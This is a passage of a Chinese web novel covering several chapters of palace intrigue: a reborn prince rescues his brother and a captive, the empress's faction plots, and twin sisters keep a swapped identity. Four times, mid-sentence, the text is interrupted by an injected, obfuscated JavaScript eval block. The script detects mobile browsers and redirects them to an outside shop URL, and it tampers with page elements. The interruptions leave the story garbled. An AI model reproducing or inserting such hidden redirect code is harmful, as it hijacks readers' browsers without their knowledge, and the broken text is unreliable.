雨势急促,落在湍流不息的大河上,仿佛给火浇上油,浪花掀起一丈多高,把玉涌河上龙舟冲得东倒西歪,摇摇晃晃。 龙舟上的旌旗都打湿了,垂头丧气,好在旗杆材质坚硬没有断,浪花混合着雨水冲刷甲板,将龙舟上的大鼓也浇了个湿透。 夜里被暴雨惊醒的船工在后悔不已,就应该不怕辛苦,把大鼓搬回来。 “那是什么?” 有人指着河岸惊乎,众人纷纷转头望去,都吓得双腿打颤。 只见大浪急促地拍打着河岸,几个黑衣人在围攻另一个黑衣人,偶尔的闪电映亮了他们的手中利剑,其中一边黑衣人带着一个锦衣公子,似乎是要渡河,单独的那个黑衣人上前阻扯。 双方招式狠厉,一方人多,人少的一方自然吃亏,况且还要救人,有所顾忌,险像环出,不一会儿就被刺中几剑,却还强行支撑着没有倒。 这倾盆大雨中的打斗怎么看怎么不祥。 “怎么办?”船工们既害怕被杀人灭口,又无能力阻止,他们看出来,那些人想抢他们的船,眼看他们都上了船,阻止他们的那位黑衣人体力不支,踉踉跄跄追过去,被一个壮汉伸脚狠狠踹下龙舟,力道之大,那人在半空飞出好远,摔在岸边。 正当船工们焦急万分之时,龙舟被一股力道冲飞,上面的人没有防备,纷纷落入湍急的河水中。 “我们的龙舟!”船工们心痛高呼不已。 龙舟没了,明天他们怎么参加龙舟戏? 河水中突然浪花冲天,两道身影在半空中转了个圈,落在河岸边,龙舟在水浪中翻滚几圈终于稳住,船上人都落了水,在水中扑棱着,有个细瘦身影死死抱住龙舟边缘,随波逐流。 河岸边疾速驰而来十几个骑马之人,他们躬身立于马上,双手放飞套索,将河中人全部套住,就连龙舟都一起套上来,竟是一个不少,全部被抓。 叶乙摔得有点懵,缓口气坐起身,雨水朦胧了他的眼睛,不过他看到朝自己走来的人,安心地咧了咧嘴。 “主子。”声音微弱沙哑。 “你怎么样?”元晗烁将晕过去的人放到他身边,上前观察他的伤势。 叶乙身上的黑衣破破烂烂,浑身伤口被雨水冲刷得发白,好几处伤口深可见骨,颈侧更是有一道箭伤,几乎射穿他的咽喉,令他说话声音嘶哑,鲜血涌出又被雨水冲干净。 他摇了摇头:“我没事,就是可惜……” 死去的人再也回不来了,这次任务损失惨重,是他们暗龙卫自成立以来损失最大的一次。 元晗烁也心情沉重,这些暗卫是他精心挑选培养的,每一个都十分珍贵。 “殿下!”那十几个骑马之人将人绑了之后,快步冲过来,看到躺在地上双目紧闭的元希麟,急得不行。 元晗烁这次出来,带着端王府的侍卫,接受上一世的教训,这一世他不敢大意,没有像上一世那样孤身前来,导致人救不回来,那些西域人也没抓住。 这一次总算有惊无险,人只是受了点伤,呛水昏迷。 “你们将端王送回宫中,让周贵妃亲自照顾。” “三殿下,您不跟我们一起回去?”端王府的侍卫头子迷惑地望了望叶乙,他没见过这个人,三殿下身边不是只有平安一人吗? 第一次跟三皇子出来,还以为他遭圣上猜忌,没暗卫呢。 “还有些事要办。”元晗烁扶起叶乙,身影一晃,消失不见。 端王府的侍卫们露出崇拜的目光。 “据说三殿下是练武奇才,宫里的教习们都怕他学了自家绝招。” “可不是,三殿下有这本事,偏偏圣上将他禁锢宫中,若是能从军,千军万马中取敌首如探囊取物!” “慎言,再这么口无遮拦,给殿下惹来祸端,你们还有脸,端王殿下那三脚猫的功夫都能跟丢,自己领罚去吧!” “好在三殿下兄弟情深,先救咱们殿下。” 还有个沈公子要救呢。话说,沈公子到底被他们藏在哪里了? 到了后半夜,雨势慢慢降下来,元晗烁带着叶乙进了金龙镇,可惜找了几家客栈都没房间,因为观看龙舟戏的人实在太多了,他只好找一处医馆敲开。 大夫替叶乙处理伤口,絮絮叨叨,“这个伤需要卧床休养至少一个月,能恢复还算好的了,老夫不是神仙,救不了找死的人,你们这些年轻人,非要打打杀杀干什么?……” 叶乙心里提着的那口气一松,人就昏迷过去,元晗烁替他盖好被子,转身对大夫低声道:“烦请你老人家替我照顾他几日,我还有些事要办。” “你上哪去?万一他死了怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938805|132497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么办?你可别讹我老人家!”大夫死拽着他不放,说什么都不放他走,“你身上的伤就不处理一下?” 大夫年纪大,雪白胡须垂在胸前,一拉他的手还没把脉就知道他带着旧伤,强行将他按在椅子上,“你再不治这伤,活不过三十。” “老人家,我确实有事,等我事情办完,一定会来。”元晗烁取出两锭银子放在桌上。他上辈子活到六十,哪有他说的这么严重。 大夫生气道:“不成!任何一个病人休想走出老夫的医馆,除非是抬出去的。” 元晗烁没想跟一个老人家动武,只好被他按住手把脉。 “小伙子,你这身伤不治,你家媳妇可要跟你闹,不孝有三,无后为大。”老大夫一脸鄙夷。年轻人不爱惜自己的身体,以后孤苦连个孩子都没有就知道后悔了,再说了,再这么打打杀杀下去,能不能活到三十都难说。 元晗烁怔了怔,这是他不知道的事情,上辈子他确实没有子女后人,那是因为受皇帝父亲的影响他对这些事情极度反感,加上他的皇后心中没他,他也只是替韩彰照顾他的心上人。 “就问你治不治吧?”老大夫白了他一眼,自顾自把了脉,又到桌边写下方子,写完将方子递过去,“给你,一般人我还不想治呢!吃不吃药由你。” “老人家,你可诊出我中了毒?”元晗烁接过药方,看到上面的几味药材,其中就有他从解药里尝出来的。 “毒不毒的老夫不知道,老夫不擅于用毒,只擅于诊脉,知道你哪个脏器哪处有异,至于是毒造成还是利器造成,老夫可没那本事。” 老大夫看着脾气不算好,气乎乎甩手而去,医馆后院就是他的卧房所在,既无家人,也无仆从,一把年纪,身体硬朗。 元晗烁看着药方陷入沉思。 他的毒不解,一生都将与疼痛煎熬为伍,不会死,但会生不如死。这些都是他后来才知道的。 他曾经想过,既然重来一次,为什么不回到未曾被下毒之前?上辈子,他也曾经遍地寻找解毒之法而不得,这一次却机缘巧合得到药方。 老天终于分点运气给他了吗? 元晗烁低头看了看身上的披风,轻软暖和的披风湿得彻底,披在身上却十分温暖。 这也是他的好运气之一,送来一个真正关心他的妻子。 41. 第 41 章 端午当日,天气放晴,早霞绚烂,本以为还会继续下雨,大家都做好了宴席推迟的准备,谁知道却是个难得的大晴天。 翡翠喜气洋洋叫温袅起床,这回她倒难得没有起床气,揉着眼睛爬起来,一边爬到窗边掀帘探头往外望,一边问。 ”殿下回来了吗?“ ”还没,不过派人传来消息,他遇到二殿下,让我们不用担心,沈公子也有了下落。“翡翠好笑地给她端来铜盆,伺候她洗脸,”咱们殿下亲自去办,肯定会办得漂漂亮亮的。“ ”可是再漂亮他受了伤也是会疼的。“她用巾帕捂脸,声音有点闷闷的。 彻夜未归,这雨下得这么大,淋着雨,又赶路,能有多好受。 ”皇子妃,以前咱们殿下不争不抢,清和宫的人少,但现在不一样啦,皇子妃来了之后,殿下说以后要多要点赏赐给皇子妃买好吃的。“翡翠哄着她,替她梳妆打扮,灵巧的双手给她挽了个漂亮的飞仙髻,“还派人送消息来让皇子妃安心。” “我才不要他挣那些赏赐。”温茑鼓着脸,耳尖粉粉的。她能感受到他对她出乎意料的好,那样不苟言笑的人能跟她一起下地种东西,一点都没有皇子的架子,和他在一起,她做什么都很开心,可是她什么都不会,不能帮她拉拢世家权臣,也不能帮他应付皇帝皇后,对他帮不上一点忙。 她也想帮他,但是有心无力,若她是像姐姐那样的,从小精心培养,做为联姻,成为他的助力那该多好? “皇子妃,男人养家是天经地义的。”翡翠理直气壮地出卖自己的殿下,“太后以前总觉得殿下意志消沉,这才让他干这干那。现在好啦,殿下成了婚,有了妻子,太后心里高兴,您呀,只要陪着太后就是了。“ 后宫里,说话最管用的还得太后。太后在,皇后都不能明目张胆欺负殿下,以前太子伤了殿下,差点被废,还是皇后放弃后宫实权才保住的。 妆容理毕,翡翠扶着她的头让她望向镜中,”皇子妃的妆就好上,发髻也好梳,看看可还满意?“ 镜中人雍容华贵,面容明艳,顾盼生辉,温袅取下两支华丽精致的云雀金簪,翡翠有些迷惑,以往皇子妃赴宴喜欢戴这两只簪子。 ”这样就好。“温袅决定慢慢改变衣着习惯,让大家习惯的是她而不是姐姐。 ”皇子妃,温夫人来了。“小宫女在殿外通传。 ”娘?来这么早?“温袅赶紧起身穿衣。 温夫人坐在花厅忐忑不安,不着痕迹地四处打量。这还是她第一次进清和宫,但是房内的装饰虽旧,倒也不寒酸,是一个不受宠皇子该有的模样,来之前,她还担心小女儿被薄待,想着尽可以多带些银票给她打点宫里。 ”娘,等会你一定要帮我。“温凤站在她身后,着急地扯着她的的衣袖。 温凤今日花了大价钱让人化了个妆,改变自己的容貌,就是为了进宫见太子一面。 ”你还有脸提,那封信是不是你写的?“温夫人怒而甩开她的手。大女儿但凡有小女儿一半的听话,她能把京城周围的佛像都塑金身。前两日一听说发现写给沈家公子的信是女儿的笔迹,她被候爷好一顿数落,差点被祠堂罚跪。 她都这把年纪了,再被罚跪,以后如何管束府中众人,这才是她天未亮就进宫的原因。 ”娘,您对我最好了,您就约妹妹湖心闲谈,大家都看见的。“温凤声音哀哀软软,撒起娇来又俏又令人心疼,恨不能当场答应。 温夫人实在被她这招拿捏得死死的:”你想干什么?“ 温凤凑到她耳边压低声音:”昭禾不是生了病嘛,太子说当时她跟昭禾在一起,所以,昭禾也知道当天的真相,我带着她当面与太子对峙,这样才能帮爹爹的忙。“ ”刚才不是说昭禾病着,她能帮你什么忙,别胡闹!“在家里说得好好的,到这里就胡来,绝对不可能! ”太子我会让你见,但是我要看着你们,别再提自己去见,你要是敢私下去见,给家里惹出祸端,我第一个不饶你!“温夫人难得抵抗住她的撒娇大法,”老实坐着。“ 但是温凤被她宠爱无度,最是知道她的为人,并没有把她的话放在心上,眼睛滴灵灵乱转,”那我去院里透透气总行吧?清和宫又没太子。“ 温夫人担心再拒绝她闹出什么事来,再说庭院抬头就能看到,倒不是什么大问题,”别走远了。“ ”就知道娘最好了!“ 温凤低呼着跑出去,开始时的确很老实,只在庭院里这看看那摸摸,还蹲在和苗边戳了戳秧苗,又摘了朵荷花拿在手里把玩,温夫人渐渐放松警惕,低头喝茶。 ”姑娘。“绿琦躲在廊柱边上招手。 她昨夜接到皇后的传话,今日会有温府的人进宫赴宴,只需找画像上的人告诉她昭禾在哪,并带她过去就能为太子洗清杀人嫌疑。 ”绿……“温凤刚开口说了个字,还好反应及时,想起自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954894|132497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身份不宜出现在人前,”姐姐有什么事?“ ”你是温府来的?你应该熟悉皇子妃,她有什么喜好告诉我吧,我总惹她生气,怕被罚。“借口是提前想好的,这就算被人听了去也只会以为她要讨好皇子妃。 温凤心里知道她是要带自己去找昭禾,于是走上台阶,跟着她走了,另一边,温袅正好走进花厅,温夫人的注意力一时间都在她身上,母女俩互相招呼一番,落座之后温夫人才想起温凤,一看窗外,人不见了,顿时提心吊胆,想告诉小女儿,却发现她身边都是陌生的宫女,没敢开口,欲言又止。 温袅进宫之后学会了颜观色,摆了摆手让花厅里的人都退下去,”母亲有事要说?“ 态度说不上热情,但也不亲昵,温夫人感受到落差,小女儿以前都是叫她娘,虽说不够亲近,但也有依赖,也会搂着她开心地叫她娘,现在这孩子长大了,更稳重了。 ”也没什么事,就是想早点来看看你。我听说三殿下对你很好,这我就放心了。“她天未亮就出门,早食都未用,还想和小女儿一起用膳,带着她爱吃的粥食小菜,”想家了吧?我带了小菜来。“ 温袅虽然与温凤为双生姐妹,吃食习好却不相同,怕露馅,应该吃不到自己喜欢的吃食。 确实,为了保住秘密,温袅在清和宫外的饮食都是按着温凤的喜好来,不过在清和宫里,自从有了小厨房之后,吃的都是自己喜欢的,小厨房的人还是很尽心的。 有一次文贺公主和她一起用饭还疑惑很久,费了些功夫才哄得小公主相信她口味变了。 ”多谢母亲。“虽然温袅心中有怨,却也知道父母的难处。 哪家的双生子都是同样的下场,要么死要么藏,皇帝在这件事上近乎偏执到疯狂的地步,前阵子有个宗室女生了对双胎儿子,本来藏得好好的,不知道谁说漏了嘴,那家人只能眼睁睁看着自己的孩子死掉一个。 光是听着就令人担心那家人会造反,但是皇帝的手段还是令人胆寒的,在位二十年早就坐稳皇位,但凡他较真的事情,他就会血洗,一个不留,世家大族在他面前也得暂避锋芒。 皇权从先帝时期的旁落又再次回到皇帝手中,他比儒弱的先帝更懂得如何治理一个国家。 但是狮子也有老的时候,最近几年夺位之争更加激烈,就连她也无辜牵连其中,若是再被人识破身份,温家甚至三殿下都会遭牵到连。 她与殿下的婚姻充满阴谋。 42. 第 42 章 天气好,人也神经气爽,仁政殿传来消息,皇帝醒了,李福全悄悄派自己的干儿子福宁出宫,去向不明,坤和宫的内侍追了半天追丢了。 除了福宁,别的内侍都各司其职,在殿中忙碌着,洒艾水雄黄,点香,悬挂艾草,雄黄的味道略浓,皇帝虚弱地摆了摆手,李福全赶紧使眼色让人退下。 “老三的去向可清楚?”皇帝一脸病气,老人斑爬上额角,鬓发灰白,即便不说,他也知道自己命不久已,他对太子也并非十分满意。 “回圣上,三殿下夜间送回二殿下,如今人还在金龙镇,传来消息说正在营救沈家公子。”李福全边细声细气回话,边拿起一个大迎枕扶他坐起。 这半年,圣上操心的事情太多了,老得快,看着比他还老。 可实际上,圣上如今还不到六十。 也是,若是圣上一去,太子登基,外戚又将再一次把持朝政,好不容易营造出来的中兴之像就会再次崩蹋。 可若说传位给三殿下,他在朝中根基到底浅薄了些。 “福全啊,你说朕当年错了吗?”皇帝长叹。 李福全跟随皇帝近五十年,自然知道他说的是哪件事。当年为了抑制白氏外戚,手段太过刚烈,若是慢慢分而化之,或许不会造成如此后果。 因为白氏案,三殿下受到了牵连。可是,谁知道仅仅二十年,许氏比白氏还有过之无不及。 外戚干政是逃不过的宿命。 “圣上,过去的事咱们就让它过去,如今看来,温候还是向着圣上的。”李福全白胖脸堂笑眯眯的,“为了给圣上祈福,听说这几日都在城外归明寺斋戒。” 皇帝冷哼一声,虽未说话,可见也是认可李福全的话。 李福全小心翼翼端来清粥:”圣上饿了吧,先吃点垫垫肚子,太医说,只要您戒酒,注意休息,不劳累,还能看着太子娶太子妃呢又或是端王妃诞下皇长孙。“ 如今端王妃有孕六个月,这话皇帝知道,自己真是时日无多。 ”宣静昭仪。“皇帝脸上有倦色,吃完一小碗清粥又勉强自己换上龙袍。 李福全心里一咯噔,但他向来皇帝说什么,他就做什么,很快就派人去静澜宫。 没有人知道,皇帝最喜欢的皇子是静昭仪的大儿子,安王元流焕,只是安王既无朝中根基,也无母家助力,静昭仪还曾经是许皇后的侍女。 皇帝为他煞费苦心,先是按制封王,又暗中送他游历天下,试图以民心为筹码,如今安王是名声最好的皇子,已经渐渐崭露头角,朝中也有些官员追随,但还远远不能跟太子相比,甚至也比不过母家手握兵权的端王。 李福全也被很多人讨好,但是他记得自己进宫前,白氏老夫人的一饭之恩,若是没那碗饭,他定会饿死街头,后来宫中填充内侍,他被人抓住送进宫中,十岁那年差点被打死,巧合之中又被年幼的白皇后所救,后来有幸分到当时还是宫婢之子的圣上身边。 白家虽然有着外戚都有的毛病,但是白氏女眷都很有善心,即使是那对白家双胞胎也是纨绔中少见的佳公子,出手大方也不为难人,怪只怪有心人算计。 李福全退出仁政殿,在门外叹了口气。 朝霞退去,天气晴朗,皇子公主们都早早起床,准备宴上见宫外的好友,文贺公主比平时早起了大半个时辰。 “你说这套石榴裙好不好?”她在衣柜前翻看最新送来的衣裳,目光停留在那件红色吉祥暗纹缀满金石榴花的长裙。 华丽的裙子是司绣坊专门为她定制的,宫中独一件。 “公主是天下最美的姑娘,谁也比不上您,穿上这件,今日谁还能移开眼。”贴身宫女桑眠弯眼睛夸起自己主子来,什么好话都能说。 文贺公主虽然容貌上佳,可说是最美就说不过去了,宫里还有不少人比她好看,但是,小公主才不管这些,喜滋滋地梳妆打扮。 “你说墨青表哥今天会来吗?” 公主说话声音不大,脖颈有可疑红晕,似是不经意提起,实侧暗暗期盼。 桑眠抿唇而笑,公主心仪温世子已久,及笄之后就天天盼着圣上赐婚,就怕温世子被人抢了,可是,温世子一直很少进宫,平时宫宴都不来,年初的春宴就没来,佛诞日也没来,公主要见温世子,也就只能爬上后宫高塔远远看一看,还得运气好,温世子正好进宫,也奇怪啊,温世子那么有才华,又是少见的世家子弟出身的状元,为何只在户部做个不入流的小官,听说还要经常出京城办外差。 可把公主殿下急得,要不是淑妃娘娘按着,公主都要去圣上面前讨说法了。 皇宫各处都在准备着端午宴,艾香粽香花香,百蝶飞舞,宫门大开,今日停朝,百官带着家眷进宫赴宴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12971439|132497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从早至晚,往年也是亥时方休。 几个太医从含翠宫出来,碰巧遇到坤和宫的掌事女官,双方互相见了礼,又各自离开。 “安荷姐姐,难道消息是真的?”小宫女快步凑到掌事女官身边。 昨夜传来的消息,二殿下已经找到了。到底是谁在坏娘娘好事?若是二殿下真的回来了,周贵妃也不能为娘娘所用。 “慌什么,娘娘早就知道周贵妃靠不住,还留有后招,我们这次来含翠宫不过是走个过场。” “还是娘娘厉害,安荷姐姐,娘娘的后招是什么啊?”小宫女话刚一出,就被掌事女官狠狠瞪了一眼,立刻噤若寒蝉。 安荷虽没回答,但是瞪了小宫女之后,还是忍不住望了望清和宫的方向。 温袅陪着温夫人用了早膳,算不上丰盛,却也比温夫人费尽心思带进宫来的清粥小菜好吃。温夫人脸上讪讪,总觉得小女儿变化很大。 以前乖巧可爱,现在乖还是乖的,却变得有棱有角,清和宫里的宫女内侍都懂规矩,进退得宜,她管得井井有条。 这当然很好,但是她心里很不是滋味,心中隐约还有些不安,大女儿去庭院透气现在都没回到她身边。 温凤被绿琦带到宫女住的后院,奄奄一息的昭禾有几个小宫女守着。 “你们先下去吧。”绿琦端起大宫女的风范,挥退小宫女,只是其中有一个迟疑,“翡翠姐姐说昭禾伤重,谁都不能见。” “这位是皇子妃娘家来的妹妹,昭禾父母思女心切,带了些东西过来,说不定照禾见到病就好了呢。”绿琦不耐烦道,“你们眼里只有翡翠,别忘了我是皇后宫里出来的,我还使唤不得你们了?” 绿琦跟在皇后身边久了,自然也有些威势,一喝之下,小宫女也不敢再留了。 等人走干净,绿琦上前给昭禾喂了颗药,昭禾醒不过来,自然不是太医说的伤重昏迷。 “绿琦姐姐?”昭禾缓缓睁开眼睛,认出站在自己床边的人,这才发现回到清和宫自己的卧房,闻到熟悉的梨香,“小姐?” 这香是小姐亲自为她调的香,天下独一份。 她还以为再也见不到她的小姐了! “昭禾,你还记得这香,太好了!”温凤坐到床边。 绿琦大吃一惊,没想到来人是昭禾的主子,那殿里的那个皇子妃是谁? 43. 第 43 章 进宫赴宴总不能空手,宫门边拎着礼盒的各家仆从服色各异,吵吵嚷嚷,把平日里肃静的皇宫闹得像菜市场一般,皇城禁军如临大敌,就怕混进什么人,佛诞那日的教训可是血淋淋的。 皇城禁军指挥使都换人了。 韩彰偷偷摸摸找到新任的指挥使武谦,笑眯眯哥俩好的凑在一起,“武谦兄,你就怕吧,不查仔细了万一多个什么人,闹出什么动静来,这可是掉脑袋的呀。” “我有什么办法呀,我一点也不想宫里办宴。”现在谈宴色变,费钱费人,“要不贤弟帮我想想法子?” 武谦出身世袭的武将之家,武家向来忠于皇帝,不涉党争,皇帝才愿意用他们。但武谦也是武痴,时常与韩彰较场相见,所以很熟,平日里称兄道弟。 他发愁地望着宫城门下这乱成一团的场面,这些人都是各世家的仆从家将,一不小心得罪了挨打事小,就怕扣什么大的罪名丢命。 礼盒中的东西一一登记造册,里面五花八门,什么都有,他还见到一粒丹药,那人非要说敬献给圣上延年益寿,黑不溜湫的也不知道是什么做的。 “这好办。”韩彰拍了拍他的肩膀,压低声音,“我听说圣上已经醒了,丹药补品吃食等都先列个单子让李内官过目,他为着圣上龙体着想,肯定也会帮你,送别的就可以先进去了,总好过你慢慢查验毁了礼物被骂。” 武谦眼睛一亮:“是个好法子!” 今日端午节,送最多的就是粽子及各种点心。要是试先尝毒,坏了品相,自然很多人不愿意。谁愿意自己的东西到皇帝面前是丑丑的缺角的。 所以查验放行花了很长时间,等着的人自然不耐烦,再加上太阳出来,天气越来越热,各府女眷都想赶紧进去,担心出汗别花了妆容。 韩彰看见人群里许家的马车一来,众人就得纷纷让路,他今天的任务就是让许家人在指定的时辰里进宫。他拍了拍武谦的肩膀。 “武谦兄,许相来了,你若是能说服他,大家都听你的。” “我……我一看到他就害怕。”武谦虽是武将,胆子却不怎么大,能明哲保身最好。他是真把韩彰当铁哥们实话实说了。 “我相信你!”韩彰凑到他耳边,把温墨青教他的话说一遍。 “当真不骗我?”武谦有点心动,得到肯定的答复,兴冲冲下楼去,果然没多久,宫门秩序井然,许家马车停在人群之后。 许慎心里着急,却也不得不面色如常袖手坐在马车里等候,琢磨着刚才武谦说的话。 皇帝醒了? 本来他们的计划是皇帝昏迷,由他提议太子监国,时机一到,自然顺利登基,名正言顺。 许慎抚摸着腰间玉佩,即便皇帝醒了,也能第一时间以龙体为重上奏太子监国,但是,刚才武谦说皇帝照常饮食,批阅奏折,还让将吃食列成单子给他过目才能行。 武谦向来胆子小,不可能说谎骗他,那皇帝到底是醒还是昏迷就不确定了,也不知道谁把他的暗线全部拦在宫里,什么消息都传不出来。 许慎心急如焚。 *** 京城外,金龙镇,天蒙蒙亮,元晗烁等来沈家的侍卫队和长公主府的护卫,正在商量营救之计。 沈重烨被另一批人挟持,藏在镇外一座山寨里,山寨人多,平日里是镖局,押货来往城中,城门戒严时,他们正押着粮食前往城外军营,城门守卫本就对他们十分熟悉,潦草查验就放行,若不是沈重烨平日用的熏香极特别,元晗烁也查不到他的踪迹。 昨夜本来是追踪到金龙镇,突然遇到元希麟的护卫,这才跟着先去救人。 救人之后自然得办正事了。他这次出宫是营救沈重烨的。 “你们几个从此处缺口进入。”他指着地图上的山岭之间草木茂盛的地方。 上辈子他逃出京城,曾经在这里躲避追兵,也进过山寨,只是没想到这里如今成了他的封地。 “我从正门直接进入,以巡视封地为由找到具体位置再给你们发讯号。” “三殿下。卑职觉得您冒险进去万一被人识破太危险了,还是由卑职找人假办您混进去。”贞和长公主的侍卫队长不赞成他冒险。 再不得宠的皇子也是皇子,没有皇子冒险,他们坐享其成的道理。 这山寨在几座山围成的谷地之中,说是山寨,其实就是一个小村庄,入口只有一个,进出都一目了然。 元晗烁抬头远望,山间开垦出一陇一陇的田地,仔细凝望,黄土之间还有些小苗,看着是刚种下的。山寨的人倒是务实,把韩彰送来的东西都种下了,长势还不错。 “无妨,你们只须在外面等我,讯号一起就进去找人。” 元晗烁带着两个暗卫假扮的随从骑着马朝山寨入口行去。 “主子,宫里有消息来。”其中一个抬手招回盘旋在空中的鹰隼。 鹰隼爪间绑着竹筒,暗卫喂了它一块鲜肉,它的尖嘴一啄,肉就进肚,昂着脑袋叫唤一声。 元晗烁接过竹筒,打开取出信纸。 “家主已醒,首见静澜。” 纸张上还印了朵红水仙。 他与李福全联系用的暗号只有两人知道,红色代表致命紧急。目前的情况,致命紧急只有皇帝主意已定。 事情果然按照上一世发生过的那样发展,静昭仪以为大势在握,逼太子提前发动宫变,反被太子拿下,安王成为夺位路上第一个出局的人,端王伤重不治,没多久就去世了,安王背着谋害兄弟的罪名被贬为庶人,死在躲避追杀的路上。 他可以什么都不做,任其发展,可是,她还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984416|132497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在宫里。 “将这封信送进静澜宫。”元晗烁取出昨夜用医馆老大夫写方子的纸写成的信。 “是。”暗卫接过信,用专门的标识上漆,换了个大点的竹筒装着,绑上鹰隼的爪子,鹰隼的圆眼滴溜溜望了元晗烁一眼,他笑着取出一些粟米喂它。 修长手掌上的粟米吃完,鹰隼才展翅高飞,穿云而去。 另一个暗卫羡慕道:“主子,平时是我喂它,为何他就只听你的?”他就不明白了,这鸟成精了不成? 若不是殿下在这里,这鸟才不会对他们这么温和,光是解绑在腿上的竹筒都要老半天。 “也不看看你喂的是啥米。”同伴吐糟。 三人神态轻松地驰奔在山间小道上,渐渐靠近山寨入口。 入口处是一处木头搭建的牌坊一丈多高,上面龙飞凤舞写着金银寨,名字虽俗,字却写得不错,龙飞凤舞的。 京城里的有识之士喜欢隐居,大隐隐于市,小隐隐于林,金银寨处在京城之外,又临近繁华的金龙镇,还离皇庄近,是一个非常适合隐居的地方,里面说是寨,其实人员复杂,三教九流,什么都有,但是对外统称金银镖局。 他们什么事都干,温墨青从南方运粮回京也是他们接的,要价也高,把他的家底都花光才能让他们运一趟,他们还有两艘大船,沿金涌河往下,一船能运上万石粮。 京城很多世家大族跟他们有来往,山寨之中,押镖的镖师们是最富有的。 房子盖得气派,瞭望楼盖得高,楼上一眼就能看到进寨的人,看着三人骑马进来,山寨立刻冲出一队高壮护卫。 “来者何人?” “三殿下巡视产业。”圆脸暗卫举出一块玉牌。 护卫们面面相觑。什么时候他们寨成了皇子的产业,他们怎么不知道? 其中一个机灵的凑到自家老大身边压低声音:“四月时,圣上把那两个皇庄并金龙银龙两镇都赐给三皇子。我们寨归属金龙镇,大概也是三皇子的产业?” 为首壮汉咬了咬后糟牙,早不来晚不来,寨子现在可不能随便进,可是皇子要巡视,他们能拦吗? 大过节的,不好好待在宫里享福,跑这里做什么? 壮汉朝身边人使了个眼色,立刻有人返回通报,他则大笑着拱手,“山寨虽简陋,却有些大,让草民带着殿下各处看看。” 元晗烁淡淡点头,气质矜贵,即便衣着不华丽,却不影响他天生的贵气。 壮汉不敢怠慢,领着他们三人沿着山寨青石板路往里走。 小小的山寨各处功能齐全,就连街市都有,他们去的就是早市,相当热闹,食物的香气飘荡,忙了一天一夜的元晗烁都被这些食物的美味吸引,望向早市面摊。 巧了,安王元流焕就在那里吃面。 44. 第 44 章 皇帝的后宫真的有三千佳丽,但称得上奇人的也就静昭仪,就是安王的生母。 静昭仪本名叫许静莲,是许皇后的贴身婢女,父母因为家贫才将她卖进许府,不曾想,她进了许府之后,因为机灵,屡屡在许家老夫人面前露脸,先是被指派去服侍当时许家大夫人,后来又因为厨艺出众被指派去照顾年幼挑食的许皇后。 虽然她的等阶是大丫鬟,但是干的活是在厨房里准备吃食,各种各样的菜式,南来北往甚至西域烤羊,她都是会的,并且极有天赋,把许皇后照顾得离不开她,嫁进宫城也不忘在嫁妆单子上写她的名字。 她机智温和善解人意,还特别能干,不光许皇后离不开她,被皇后宫里的美食养刁了嘴的皇帝也离不开她,连连召她侍寝,又赐她一宫主位,她连生两个聪明伶俐的儿子,让皇帝体会到普通父亲的天伦之乐,被宠十几年,直到现在还十分宠爱。 许皇后这会儿才反应过来,自己心爱的丫鬟威胁太大了,渐渐生了罅隙,但是,她的舌头被养刁了,一边害怕静仪害自己,一边忍不住想吃她做的美食,左右摇摆,矛盾重重,如此过了十几年,直到发现皇帝最爱的皇子是元流焕。 俗话说,有爱就有地位,许皇后开始担心自己的后位不稳,两人关系这才冷淡下来,但是静昭仪对许皇后的态度始终没变,一直奉她为主,甚至给皇帝吹枕头风,让太子之位更稳,就连皇帝都把她当成红颜知己,时不时跟她吐露一丝烦恼。 安王有这样一位母亲,他本人当然也是温雅秀致,清隽秀美,令人如沐春风,亲切平和的模样引得宫内宫外全天下交口称赞。 就连吃面的碗也比别的人干净漂亮份量大,上面铺满羊肉。 “三哥!”看到元晗烁,元流焕露出一个惊喜的笑容,放下筷子,起身快步走到他面前,“我本想赶在端午开宴前回宫,偏偏我母妃让我亲自登门拜谢恩师。” 